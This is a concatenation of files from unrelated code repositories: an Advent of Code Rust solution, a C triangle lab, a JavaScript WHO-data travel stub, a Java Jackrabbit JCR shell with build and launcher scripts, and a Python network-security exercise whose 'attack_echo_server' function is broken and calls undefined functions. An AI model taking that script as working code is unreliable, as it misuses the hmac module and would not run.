* For a mass of 14, dividing by 3 and rounding down still yields 4, so the fuel required is also 2.
* For a mass of 1969, the fuel required is 654.
* For a mass of 100756, the fuel required is 33583.
* The Fuel Counter-Upper needs to know the total fuel requirement. To find it, individually calculate the fuel needed
* for the mass of each module (your puzzle input), then add together all the fuel values.
*
* What is the sum of the fuel requirements for all of the modules on your spacecraft?
*
* To begin, get your puzzle input [see input.txt].
*
* --- Part Two ---
* During the second Go / No Go poll, the Elf in charge of the Rocket Equation Double-Checker stops the launch sequence.
* Apparently, you forgot to include additional fuel for the fuel you just added.
*
* Fuel itself requires fuel just like a module - take its mass, divide by three, round down, and subtract 2. However,
* that fuel also requires fuel, and that fuel requires fuel, and so on. Any mass that would require negative fuel
* should instead be treated as if it requires zero fuel; the remaining mass, if any, is instead handled by wishing
* really hard, which has no mass and is outside the scope of this calculation.
*
* So, for each module mass, calculate its fuel and add it to the total.
* Then, treat the fuel amount you just calculated as the input mass and repeat the process, continuing until a fuel
* requirement is zero or negative. For example:
*
* A module of mass 14 requires 2 fuel. This fuel requires no further fuel (2 divided by 3 and rounded down is 0, which
* would call for a negative fuel), so the total fuel required is still just 2.
* At first, a module of mass 1969 requires 654 fuel. Then, this fuel requires 216 more fuel (654 / 3 - 2). 216 then
* requires 70 more fuel, which requires 21 fuel, which requires 5 fuel, which requires no further fuel. So, the total
* fuel required for a module of mass 1969 is 654 + 216 + 70 + 21 + 5 = 966.
* The fuel required by a module of mass 100756 and its fuel is:
* 33583 + 11192 + 3728 + 1240 + 411 + 135 + 43 + 12 + 2 = 50346.
*
* What is the sum of the fuel requirements for all of the modules on your spacecraft when also taking into account the
* mass of the added fuel? (Calculate the fuel requirements for each module separately, then add them all up at the end.)
*/
/*
* Learning Rust
*
* Printing - https://doc.rust-lang.org/stable/rust-by-example/hello/print.html
* Comments - https://doc.rust-lang.org/stable/rust-by-example/hello/comment.html
* Functions - https://doc.rust-lang.org/stable/rust-by-example/fn.html
* Closures - https://doc.rust-lang.org/rust-by-example/fn/closures.html
* File I/O - https://doc.rust-lang.org/stable/rust-by-example/std_misc/file/open.html
* Iterators - https://doc.rust-lang.org/std/iter/trait.Iterator.html
* Collections - https://doc.rust-lang.org/std/collections/index.html
* Result - https://doc.rust-lang.org/std/result/
* Option and Unwrap - https://doc.rust-lang.org/stable/rust-by-example/error/option_unwrap.html
*/
use std::error::Error;
use std::fs::File;
use std::io::{BufRead, BufReader};
use std::path::Path;
fn lines_from_file(path: impl AsRef<Path>) -> Vec<String> {
// Learning Rust: match is an expression
let file = match File::open(path) {
Err(why) => panic!("Failed to open file: {}", why.description()),
Ok(file) => file,
};
let reader = BufReader::new(file);
// Learning Rust: lines returns an iterator over all lines; collect turns the iter into a collection
// Learning Rust: 'Result' must be handled - unwrap, expect, match or ?
// Learning Rust: return by omitting ';'
reader.lines()
.map(|line| line.expect("Could not parse line"))
.collect()
}
fn strings_to_ints(strings: Vec<String>) -> Vec<i32> {
// Learning Rust: turbofish syntax to help determine type
strings.iter().map(|string| string.parse::<i32>().unwrap()).collect()
}
fn parse_inputs(path: impl AsRef<Path>) -> Vec<i32> {
strings_to_ints(lines_from_file(path))
}
fn calculate_fuel(mass: i32) -> i32 {
mass / 3 - 2
}
fn calculate_fuel_recursive(fuel_mass: i32) -> i32 {
let recursive_fuel_mass = calculate_fuel(fuel_mass);
if recursive_fuel_mass < 0 { return fuel_mass };
fuel_mass + calculate_fuel_recursive(recursive_fuel_mass)
}
/*
* Main -
* Load input file
* Parse input file - one module mass per line
* For each module mass, calculate fuel
* fuel per module = floor(module mass / 3) - 2
* Sum all calculated fuel
*/
fn main() {
let inputs_filename = "input.txt";
let masses = parse_inputs(inputs_filename);
// --- Part One ---
let test_case_inputs = vec![12, 14, 1969, 100756];
let test_case_results = vec![2, 2, 654, 33583];
println!("Calculating total test case fuel requirements (non-recursive)...");
for it in test_case_inputs.iter().zip(test_case_results.iter()) {
let (input, result) = it;
let calc = calculate_fuel(*input);
let pass = calc - result == 0;
// Learning Rust: ternary
println!("- {} - For a mass of {}, got {} / {}", (if pass { "PASS" } else { "FAIL "}), input, calc, *result);
}
println!();
let fuel_per_mass: Vec<i32> = masses.iter().map(|it| calculate_fuel(*it)).collect();
let fuel_total: i32 = fuel_per_mass.iter().sum();
println!("Calculated fuel total (non-recursive): {}\n", fuel_total);
// --- Part Two ---
let test_case_results_recursive = vec![2, 2, 966, 50346];
println!("Calculating total test case fuel requirements (recursive)...");
for it in test_case_inputs.iter().zip(test_case_results_recursive.iter()) {
let (input, result) = it;
let calc = calculate_fuel_recursive(calculate_fuel(*input));
let pass = calc - result == 0;
// Learning Rust: ternary
println!("- {} - For a mass of {}, got {} / {}", (if pass { "PASS" } else { "FAIL "}), input, calc, *result);
}
println!();
let fuel_per_mass_recursive: Vec<i32> = masses.iter().map(|it| calculate_fuel_recursive(calculate_fuel(*it))).collect();
let fuel_total_recursive: i32 = fuel_per_mass_recursive.iter().sum();
println!("Calculated fuel total (recursive): {}", fuel_total_recursive);
} | 67a060ed1c36cf4e52f790daefa672cbcfa2f266 | [
"Markdown",
"TOML",
"Rust"
] | 3 | Markdown | haebou/advent_of_code_2019 | 237f296e2d9cfb78546c6de4556edc36d93af730 | 932dcd4e81a8544ddaaccf8d533769366b802944 |
refs/heads/master | <repo_name>alanwatson/CS-LAB-6<file_sep>/CS-LAB-6.c
Program Description: GIVEN THE DISTANCES (BETWEEN TWO POINTS) OF THREE LINE SEGMENTS DETERMINE IF THEY CAN CREATE A TRIANGLE AND IF SO WHETHER THAT TRIANGLE CAN BE CLASSIFIED AS EQUILATERAL, ISOSCELES, OR SCALENE.
#include<stdio.h>
#include<math.h>
void getSidelengths(double*, double*, double*); //INPUTES THE GIVEN SIDE LENGTHS
double calLargestside(double, double, double); //CALCULATES THE LARGEST SIDE LENGTH
double displayTriangle(double, double, double, double); //CALCULATES IF THE SIDES CAN FORM AT TIRANGLE OR NOT
void displayEquilateral(double, double, double, double); //DISPLAYS IF IT IS EQUILATERAL
void displayIsosceles(double, double, double, double); //DISPLAYS IF IT IS ISOSCELES
void displayScalene(double, double, double, double); //DISPLAYS IF IT IS SCALENE
int main()
{
//VARIABLES
double side1; //SIDE1 VALUE
double side2; //SIDE2 VALUE
double side3; //SIDE3 VALUE
double big; //LARGEST SIDE VALUE
double triangle; //DETERMINES IF IT IS A TRIANGLE
//EXECUATABLE STATEMENTS
getSidelengths(&side1, &side2, &side3);
//CALCULATIONS AND PRINTS
big = calLargestside(side1, side2, side3);
triangle = displayTriangle(big, side1, side2, side3);
displayEquilateral(triangle, side1, side2, side3);
displayIsosceles(triangle, side1, side2, side3);
displayScalene(triangle, side1, side2, side3);
return(0);
}
void getSidelengths(double *side1, double *side2, double *side3)
{
//EXECUATABLE STATEMENTS
printf("Enter side lengths: ");
scanf("%lf %lf %lf", side1, side2, side3);
}
double calLargestside(double side1, double side2, double side3)
{
//VARIABLES
double big;
//EXECUATABLE STATEMENTS
if((side1 > side2) && (side1 > side3))
{
big = side1;
}
else if ((side2 > side1) && (side2 > side3))
{
big = side2;
}
else
{
big = side3;
}
return(big);
}
double displayTriangle(double big, double side1, double side2, double side3)
{
//VARIABLES
double triangle;
//EXECUATABLE STATEMENTS
if(((side1 + side2 + side3) - big) > big)
{
triangle = 1;
printf("\nThe distances entered can form a triangle: \n");
}
else
{
triangle = 0;
printf("\nThe distances entered cannot form a tirangle.\n");
}
return(triangle);
}
void displayEquilateral(double triangle, double side1, double side2, double side3)
{
//EXECUATABLE STATEMENTS
if (triangle >= 1)
{
if((side1 == side2) && (side1 == side3) && (side2 == side3))
{
printf("-- is an equilateral triangle\n");
}
else
{
printf("-- is not an equilateral triangle\n");
}
}
else
{
}
}
void displayIsosceles(double triangle, double side1, double side2, double side3)
{
//EXECUTABLE STATEMENTS
if(triangle >= 1)
{
if(side1 == side2)
{
if (side1 == side2)
{
printf("-- is an isosceles triangle\n");
}
else
{
printf("-- is not an isosceles triangle\n");
}
}
else if (side2 == side3)
{
if (side2 == side3)
{
printf("-- is an isosceles triangle\n");
}
else
{
printf("-- is not an isosceles triangle\n");;
}
}
else
{
if (side1 == side3)
{
printf("-- is an isosceles triangle\n");
}
else
{
printf("-- is not an isosceles triangle\n");
}
}
}
else
{
}
}
void displayScalene(double triangle, double side1, double side2, double side3)
{
//EXECUATABLE STATEMENTS
if (triangle >= 1)
{
if ((side1 != side2) && (side1 != side3))
{
printf("-- is a scalene triangle\n");
}
else
{
printf("-- is not a scalene triangle\n");
}
}
else
{
}
}
| cf127d455d0c59aaa722125ff85a86f7ad68ced6 | [
"C"
] | 1 | C | alanwatson/CS-LAB-6 | 065d7a204df6f7ae4b5b7eaf3e4cdf5d4f487cdc | 5bbe42725e665f69c62430c106d703412102bc86 |
refs/heads/master | <file_sep>import socket
import sys
import argparse
import hmac
from hashlib import sha256
from struct import pack
# ECHO SERVER VARIABLES
echo_key = <KEY>"
echo_ip = "172.16.17.32"
echo_port = 5454
def attack_echo_server(msg):
global echo_ip, echo_port
# Open connection
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((echo_ip, echo_port))
msg = hmac_encrypt_sha256(msg).digest()
msg = append_msg_len(msg, len(msg))
sock.send(msg)
recv = sock.recv(8192)
print recv
return
def append_msg_len(msg, len):
msg_header = pack('h', len)
msg = msg_header + msg
return msg
def hmac_encrypt_sha256(msg):
global echo_key
return hmac(echo_key, msg, sha256)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--echo_nice', '-en', help='send an echo msg to the echo server',
nargs='+')
parser.add_argument('--msg', '-m', help='butt', nargs='+')
args = parser.parse_args()
print args
if args.echo_nice:
print 'Contacting echo server'
payload = ''.join(args.echo_nice)
contact_echo_server(payload)
if args.msg:
print 'Contacting msg server'
payload = ''.join(args.msg)
attack_msg_server(payload)
| 09ee51a2c9874c76310e3d0a3ad4d49556b95d4e | [
"Python"
] | 1 | Python | enoyes/network_security | e730f5e369d59155226900e31560bac8c83e3ad4 | 055e7ca85c7533263453e0b5f5a3aae36e874676 |
refs/heads/master | <file_sep>/*Javascript for Ajax Giphy Homework game (Week 6 Homework )*/
$(document).ready(function() {
/* --------------------------- Global variables ---------------------------------------------*/
/* --------------------------- Global variables ---------------------------------------------*/
/* --------------------------- Global variables ---------------------------------------------*/
//cummicable diseases (hepB, TB, malaria, NTDs, HIV)
//var commdisURL = "http://apps.who.int/gho/athena/data/GHO/SDGHIV,SDGMALARIA,SDGNTDTREATMENT,MDG_0000000020,WHS4_117.json?profile=simple&filter=COUNTRY:*;YEAR:2016;YEAR:2015;YEAR:2014;YEAR:2013;YEAR:2012;YEAR:2011;YEAR:2010;YEAR:2005;YEAR:2000"
//new HIV cases/yr /1000popultaion
//var hivURL = "http://apps.who.int/gho/athena/data/GHO/HIV_0000000026,SDGHIV.json?profile=simple&filter=COUNTRY:*;REGION:*"
//malaria cases/year
//var malariaURL = "http://apps.who.int/gho/athena/data/GHO/MALARIA002.json?profile=simple&filter=COUNTRY:*"
// reported cases of cholera
//var choleraURL = "http://apps.who.int/gho/athena/data/GHO/CHOLERA_0000000001.json?profile=simple&filter=COUNTRY:*;REGION:*"
//deaths from ambient air pollution
//var airpollURL = "http://apps.who.int/gho/athena/data/GHO/AIR_5,AIR_50,AIR_41.json?profile=simple&filter=COUNTRY:*;REGION:*"
//death rate from natural disasters (/100,000population)
//var natdisURL = "http://apps.who.int/gho/athena/data/GHO/SDGDISASTER.json?profile=simple&filter=COUNTRY:*;REGION:*";
//mortality rate attributable to unsafe water, sanination and hygeine (/100,000)
//var waterURL = "http://apps.who.int/gho/athena/data/GHO/SDGWSHBOD.json?profile=simple&filter=COUNTRY:*";
//road traffic deaths/100,000 population
//var rtaURL = "http://apps.who.int/gho/athena/data/GHO/RS_196,RS_198.json?profile=simple&filter=COUNTRY:*";
//homocide rates
//var homocideURL = "http://apps.who.int/gho/athena/data/GHO/VIOLENCE_HOMICIDENUM,VIOLENCE_HOMICIDERATE.json?profile=simple&filter=COUNTRY:*;AGEGROUP:-;SEX:-"
// healthcare personal per 100,000 population
//var healthcareURL = "http://apps.who.int/gho/athena/data/GHO/HRH_26,HRH_33,HRH_28,HRH_25,HRH_27,HRH_31,HRH_29,HRH_30,HRH_32.json?profile=simple&filter=COUNTRY:*"
/* //US GOv acute travel alerts (XML)
var newalertsURL="https://travel.state.gov/_res/rss/TAs.xml";
//US gov chronic travel alerts (xml)
var allalertsURL="https://travel.state.gov/_res/rss/TWs.xml";*/
$('#country-submit').on('click', function () {
var countryName = ('#country-input').val();
var country = country_lookup(countryName);
// get air pollution data
var commdisURL = "http://apps.who.int/gho/athena/data/GHO/SDGHIV,SDGMALARIA,SDGNTDTREATMENT,MDG_0000000020,WHS4_117.json?profile=simple&filter=COUNTRY:*;YEAR:2016;YEAR:2015;YEAR:2014;YEAR:2013;YEAR:2012;YEAR:2011;YEAR:2010;YEAR:2005;YEAR:2000";
var queryURL = commdisURL + country; // may need furtehr processing
var data = ajax_call (queryURL);
var malariaDat = data;
var hivDat = data;
var ntdDat = data;
// get air pollution data
var airpollURL = "http://apps.who.int/gho/athena/data/GHO/AIR_5,AIR_50,AIR_41.json?profile=simple&filter=COUNTRY:*;REGION:*"
var queryURL = airpollURL + country; // may need furtehr processing
var data = ajax_call (queryURL);
var airpollDat = data;
// get natural disaster data
var natdisURL = "http://apps.who.int/gho/athena/data/GHO/SDGDISASTER.json?profile=simple&filter=COUNTRY:*;REGION:*";
var queryURL = natdisURL + country; // may need furtehr processing
var data = ajax_call (queryURL);
var natdisDat = data;
// get water hygeine data
var waterURL = "http://apps.who.int/gho/athena/data/GHO/SDGWSHBOD.json?profile=simple&filter=COUNTRY:*";
var queryURL = waterURL + country; // may need furtehr processing
var data = ajax_call (queryURL);
var waterDat = data;
// get road traffic deaths rates
var rtaURL = "http://apps.who.int/gho/athena/data/GHO/RS_196,RS_198.json?profile=simple&filter=COUNTRY:*";
var queryURL = rtaURL + country; // may need furtehr processing
var data = ajax_call (queryURL);
var homocideDat = data;
// get homocide rates
var homocideURL = "http://apps.who.int/gho/athena/data/GHO/VIOLENCE_HOMICIDENUM,VIOLENCE_HOMICIDERATE.json?profile=simple&filter=COUNTRY:*;AGEGROUP:-;SEX:-"
var queryURL = homocideURL + country; // may need furtehr processing
var data = ajax_call (queryURL);
var homocideDat = data;
// get health personnel data
var healthcareURL = "http://apps.who.int/gho/athena/data/GHO/HRH_26,HRH_33,HRH_28,HRH_25,HRH_27,HRH_31,HRH_29,HRH_30,HRH_32.json?profile=simple&filter=COUNTRY:*"
var queryURL = healthcareURL + country;
var data = ajax_call (queryURL);
var physiciansDat = data;
var dentistsDat = data;
var nursesDat = data;
});
function ajax_call (msg) {
$.ajax({
url: msg,
method: 'GET',
crossDomain: true,
dataType: 'jsonp',
})
.done(function(response) {
console.log(response);
return response;
});
}
function country_lookup (name) {
// function to retrun country cose from name
// if no country code found - return invalid country
}
}); | 9705cf6c274f07c157351fda24b5094bfcc7c045 | [
"JavaScript"
] | 1 | JavaScript | JordanIsenberg/TravelSafe | e95c1656f7568e627afb377042c6e6bc6dde5f4c | 5b50f14253c9f5a377571a6cc229db72dd28c387 |
refs/heads/master | <file_sep><project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>net.suteren</groupId>
<artifactId>jcr-shell</artifactId>
<packaging>jar</packaging>
<version>0.0.2-SNAPSHOT</version>
<name>jcr-shell</name>
<url>http://maven.apache.org</url>
<scm>
<developerConnection>
scm:svn:http://svn.suteren.net/devel/jcr-shell/trunk</developerConnection>
<url>http://svn.suteren.net/devel/jcr-shell/</url>
</scm>
<build>
<finalName>jcr_shell-${pom.version}</finalName>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-pmd-plugin</artifactId>
<version>2.3</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<compilerVersion>1.5</compilerVersion>
<source>1.5</source>
<target>1.5</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<artifactId>maven-release-plugin</artifactId>
<configuration>
<tagBase>
http://svn.suteren.net/devel/jcr-shell/tags</tagBase>
</configuration>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>findbugs-maven-plugin</artifactId>
<version>1.2</version>
<configuration>
<findbugsXmlOutput>true</findbugsXmlOutput>
<findbugsXmlWithMessages>true</findbugsXmlWithMessages>
<xmlOutput>true</xmlOutput>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
${basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
<manifest>
<mainClass>net.suteren.jcr.shell.Executor</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>attached</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-checkstyle-plugin</artifactId>
<configuration>
<enableRulesSummary>false</enableRulesSummary>
</configuration>
</plugin>
</plugins>
</build>
<reporting>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-checkstyle-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-pmd-plugin</artifactId>
<version>2.3</version>
</plugin>
</plugins>
</reporting>
<repositories>
<repository>
<id>exists</id>
<url>http://repo.exist.com/maven2/</url>
</repository>
<repository>
<id>dotsrc</id>
<url>http://mirrors.dotsrc.org/maven2/</url>
</repository>
<repository>
<id>ibiblio</id>
<url>http://mirrors.ibiblio.org/maven2/</url>
</repository>
<repository>
<id>jboss</id>
<url>http://repository.jboss.com/maven2/</url>
</repository>
<repository>
<id>maven2-repository.dev.java.net</id>
<name>Java.net Repository for Maven</name>
<url>http://download.java.net/maven/2/</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.jackrabbit</groupId>
<artifactId>jackrabbit-core</artifactId>
<version>1.5.0</version>
</dependency>
<dependency>
<groupId>javax.jcr</groupId>
<artifactId>jcr</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>gnu-getopt</groupId>
<artifactId>getopt</artifactId>
<version>1.0.13</version>
</dependency>
<dependency>
<groupId>readline</groupId>
<artifactId>libreadline-java</artifactId>
<version>0.8.0</version>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.15</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.5.6</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.5.6</version>
</dependency>
<!--dependency>
<groupId>com.oracle</groupId>
<artifactId>ojdbc14</artifactId>
<version>10.2.0.2.0</version>
</dependency-->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.6</version>
</dependency>
<dependency>
<groupId>postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>8.3-603.jdbc4</version>
</dependency>
</dependencies>
</project>
<file_sep>package net.suteren.jcr.shell;
import gnu.getopt.Getopt;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Vector;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
public class Executor {
private static final String BASIC_ARGUMENTS = "t:";
protected static Log log = LogFactory.getLog(Executor.class);
public static void main(String[] args) throws IOException {
log.info(JcrShell.UNIT_NAME + " is starting.");
Getopt getopt = new Getopt(JcrShell.PRINT_CMD, args, BASIC_ARGUMENTS
+ JcrShell.JCR_ARGUMENTS + JackrabbitShell.JACKRABBIT_ARGUMENTS);
int c;
Class type = null;
String t = null;
Vector<String> newArgs = new Vector<String>();
while ((c = getopt.getopt()) != -1) {
switch (c) {
case 't':
t = getopt.getOptarg();
break;
case '?':
String[] arg = { JcrShell.PRINT_CMD };
helpCommand(arg);
System.exit(2);
default:
newArgs.add("-" + (char) c);
if (getopt.getOptarg() != null)
newArgs.add(getopt.getOptarg());
}
}
try {
type = Class.forName(t);
if (!JcrShell.class.isAssignableFrom(type))
throw new ClassNotFoundException();
} catch (ClassNotFoundException e1) {
type = null;
}
if (type == null) {
if ("jackrabbit".equals(t))
type = JackrabbitShell.class;
else if ("".equals(t))
type = JackrabbitShell.class;
if (type == null)
type = JackrabbitShell.class;
}
int firstarg = getopt.getOptind();
for (int i = firstarg; i < args.length; i++)
newArgs.add(args[i]);
log.debug("Args: " + newArgs);
try {
Class[] a = { String[].class };
Method main = type.getMethod("main", a);
main.invoke(null, newArgs.toArray(new String[newArgs.size()]));
} catch (Exception e) {
log.fatal(e);
System.err.println("ERROR: " + e);
}
}
private static void helpCommand(String[] arg) {
new JcrShell().helpCommand(arg);
}
}
<file_sep>package net.suteren.jcr.shell;
import gnu.getopt.Getopt;
import java.io.EOFException;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.io.Writer;
import java.util.ArrayList;
import java.util.List;
import java.util.Vector;
import javax.jcr.LoginException;
import javax.jcr.Repository;
import javax.jcr.RepositoryException;
import javax.jcr.nodetype.NodeType;
import javax.jcr.nodetype.NodeTypeIterator;
import org.apache.commons.logging.LogFactory;
import org.apache.jackrabbit.api.JackrabbitNodeTypeManager;
import org.apache.jackrabbit.core.TransientRepository;
import org.apache.jackrabbit.core.nodetype.NodeTypeDef;
import org.apache.jackrabbit.core.nodetype.NodeTypeImpl;
import org.apache.jackrabbit.core.nodetype.NodeTypeManagerImpl;
import org.apache.jackrabbit.core.nodetype.NodeTypeRegistry;
import org.apache.jackrabbit.core.nodetype.compact.CompactNodeTypeDefWriter;
import org.apache.jackrabbit.spi.commons.conversion.NamePathResolver;
import org.apache.jackrabbit.spi.commons.namespace.NamespaceResolver;
import org.apache.jackrabbit.value.ValueFactoryImpl;
import org.gnu.readline.Readline;
public class JackrabbitShell extends JcrShell {
static final String JACKRABBIT_ARGUMENTS = "c:r:";
private static final String JCR_CONFIG = "jcr.config";
private static final String JCR_HOME = "jcr.home";
private static final String UNIT_NAME = "JackrabbitShell";
private JackrabbitShell() {
}
public JackrabbitShell(String config, String home) throws IOException {
super(getRepository(getRepoConfig(config), getRepoHome(home)));
JcrTool.log = LogFactory.getLog(getClass());
}
private static Repository getRepository(String repositroyConfig,
String repositoryPath) throws IOException {
return new TransientRepository(repositroyConfig, repositoryPath);
}
public int ntloadCommand(String[] args) {
if (args.length > 1) {
System.out.println("Too much arguments!");
log.error("Too much arguments!");
return 1;
}
try {
InputStream is = null;
if (args.length == 1)
is = new FileInputStream(args[0]);
else
is = System.in;
JackrabbitNodeTypeManager manager = (JackrabbitNodeTypeManager) getWorkspace()
.getNodeTypeManager();
manager.registerNodeTypes(is, "text/x-jcr-cnd");
commited = false;
return 0;
} catch (LoginException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (RepositoryException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return 1;
}
public int ntdumpCommand(String[] args) {
if (args.length > 1) {
System.out.println("Too much arguments!");
log.error("Too much arguments!");
return 1;
}
try {
Writer writer = null;
if (args.length == 1) {
writer = new FileWriter(args[0]);
log.debug("writing to " + args[0]);
} else {
writer = new OutputStreamWriter(System.out);
log.debug("writing to STDOUT");
}
NodeTypeIterator nti = ((NodeTypeManagerImpl) getNodeTypeManager())
.getAllNodeTypes();
CompactNodeTypeDefWriter cntdw = new CompactNodeTypeDefWriter(
writer, (NamespaceResolver) getSession(),
(NamePathResolver) getSession());
while (nti.hasNext()) {
NodeTypeImpl ntim = (NodeTypeImpl) nti.next();
cntdw.write(ntim.getDefinition());
log.debug("Definition: " + ntim.getDefinition().toString());
}
if (writer instanceof OutputStreamWriter)
writer.flush();
else
writer.close();
return 0;
} catch (LoginException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (RepositoryException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return 1;
}
private static String getRepoHome(String jcrHome) {
File d = null;
try {
d = new File(jcrHome);
} catch (NullPointerException e) {
log.warn("JCR repository home not set in system property.");
}
if (d == null || !d.isDirectory()) {
jcrHome = System.getProperty(JCR_HOME);
try {
d = new File(jcrHome);
} catch (NullPointerException e) {
log.warn("JCR repository home not set in system property.");
}
}
String message = "Jackrabbit repository home: ";
while (d == null || !d.isDirectory()) {
try {
jcrHome = Readline.readline(message);
} catch (EOFException e) {
log.debug(e);
message = "EOF. Try again: ";
} catch (UnsupportedEncodingException e) {
log.debug(e);
message = "Unsupported encoging. Try again: ";
} catch (IOException e) {
log.debug(e);
message = "IO exceprion. Try again: ";
}
if ("".equals(jcrHome))
System.exit(1);
d = new File(jcrHome);
}
return jcrHome;
}
private static String getRepoConfig(String jcrConfig) {
File d = null;
try {
d = new File(jcrConfig);
} catch (NullPointerException e) {
log
.warn("JCR repository configuration not set in system property.");
}
if (d == null || !d.isFile()) {
jcrConfig = System.getProperty(JCR_CONFIG);
try {
d = new File(jcrConfig);
} catch (NullPointerException e) {
log
.warn("JCR repository configuration not set in system property.");
}
}
String message = "Jackrabbit repository config: ";
while (d == null || !d.isFile()) {
try {
jcrConfig = Readline.readline(message);
} catch (EOFException e) {
log.debug(e);
message = "EOF. Try again: ";
} catch (UnsupportedEncodingException e) {
log.debug(e);
message = "Unsupported encoging. Try again: ";
} catch (IOException e) {
log.debug(e);
message = "IO exceprion. Try again: ";
}
if ("".equals(jcrConfig))
System.exit(1);
d = new File(jcrConfig);
}
return jcrConfig;
}
public static void main(String[] args) throws IOException {
log.info(UNIT_NAME + " is starting.");
Getopt getopt = new Getopt(PRINT_CMD, args, JCR_ARGUMENTS
+ JACKRABBIT_ARGUMENTS);
int c;
String repoHome = null;
String repoConfig = null;
Vector<String> newArgs = new Vector<String>();
while ((c = getopt.getopt()) != -1) {
switch (c) {
case 'c':
repoConfig = getopt.getOptarg();
break;
case 'r':
repoHome = getopt.getOptarg();
break;
case '?':
String[] arg = { PRINT_CMD };
new JackrabbitShell().helpCommand(arg);
System.exit(2);
default:
newArgs.add("-" + (char) c);
if (getopt.getOptarg() != null)
newArgs.add(getopt.getOptarg());
}
}
int firstarg = getopt.getOptind();
for (int i = firstarg; i < args.length; i++)
newArgs.add(args[i]);
JackrabbitShell jShell = new JackrabbitShell(repoConfig, repoHome);
log.debug("Args: " + newArgs);
int returnStatus = jShell.runApp(newArgs.toArray(new String[newArgs
.size()]));
log.info("JacrrabbitTool is shutting down.");
System.exit(returnStatus);
}
}
<file_sep>INSTALL_PREFIX="/opt/jcr-shell"
VERSION="0.0.2-SNAPSHOT"
LIB_PERMISSONS="755"
BIN_PERMISSONS="755"
TARGETS=target/jcr_shell-${VERSION}-jar-with-dependencies.jar target/jcr_shell-${VERSION}.jar
default: all
all: build install
build: ${TARGETS}
install: ${TARGETS}
mkdir -p ${INSTALL_PREFIX}/bin
mkdir -p ${INSTALL_PREFIX}/lib
cp bin/jcr-shell.sh ${INSTALL_PREFIX}/bin
cp target/jcr_shell-${VERSION}-jar-with-dependencies.jar ${INSTALL_PREFIX}/lib
chmod ${BIN_PERMISSIONS} ${INSTALL_PREFIX}/bin/*
chmod ${LIB_PERMISSIONS} ${INSTALL_PREFIX}/lib/*
clean:
mvn clean
${TARGETS}: src/main/**/*
mvn assembly:assembly
deploy:
mvn install
.PHONY: deploy clean install build all default
<file_sep>#!/bin/sh
EXECUTABLE=$0
CONFIG=$1
REPOSITORIES="/var/tmp/jcrrepositories"
CONFIG_HOME="/etc/local/jcr"
VERSION="0.0.2-SNAPSHOT"
LD_LIBRARY_PATH=/usr/lib
JCR_HOME="${REPOSITORIES}/${CONFIG}_console1"
JCR_CONFIG="${CONFIG_HOME}/${CONFIG}_console1.xml"
if [ "$1" == "-l" ]; then
cd "${CONFIG_HOME}"
ls -1 *.xml | sed -nr 's/^(.*)_console1.xml$/\1/p'
exit
fi
shift
[ -L "$EXECUTABLE" ] && EXECUTABLE=`file -b $EXECUTABLE | sed -rn "s/^symbolic link to \\\`(.*)'$/\1/p"`
#echo "EXECUTABLE: $EXECUTABLE"
EXE_DIR=`dirname "$EXECUTABLE"`
#echo "EXE_DIR: $EXE_DIR"
JCR_SHELL_HOME="$( cd "$EXE_DIR/.."; pwd )"
#echo "JCR_SHELL_HOME: $JCR_SHELL_HOME"
[ -e "${JCR_HOME}" ] || mkdir -p "${JCR_HOME}"
JAVA_OPT="-Djava.library.path=${LD_LIBRARY_PATH} -Djcr.home=${JCR_HOME} -Djcr.config=${JCR_CONFIG}"
echo "java ${JAVA_OPT} -jar ${JCR_SHELL_HOME}/lib/jcr_shell-${VERSION}-jar-with-dependencies.jar $@"
java ${JAVA_OPT} -jar ${JCR_SHELL_HOME}/lib/jcr_shell-${VERSION}-jar-with-dependencies.jar $@
<file_sep>package net.suteren.jcr.shell;
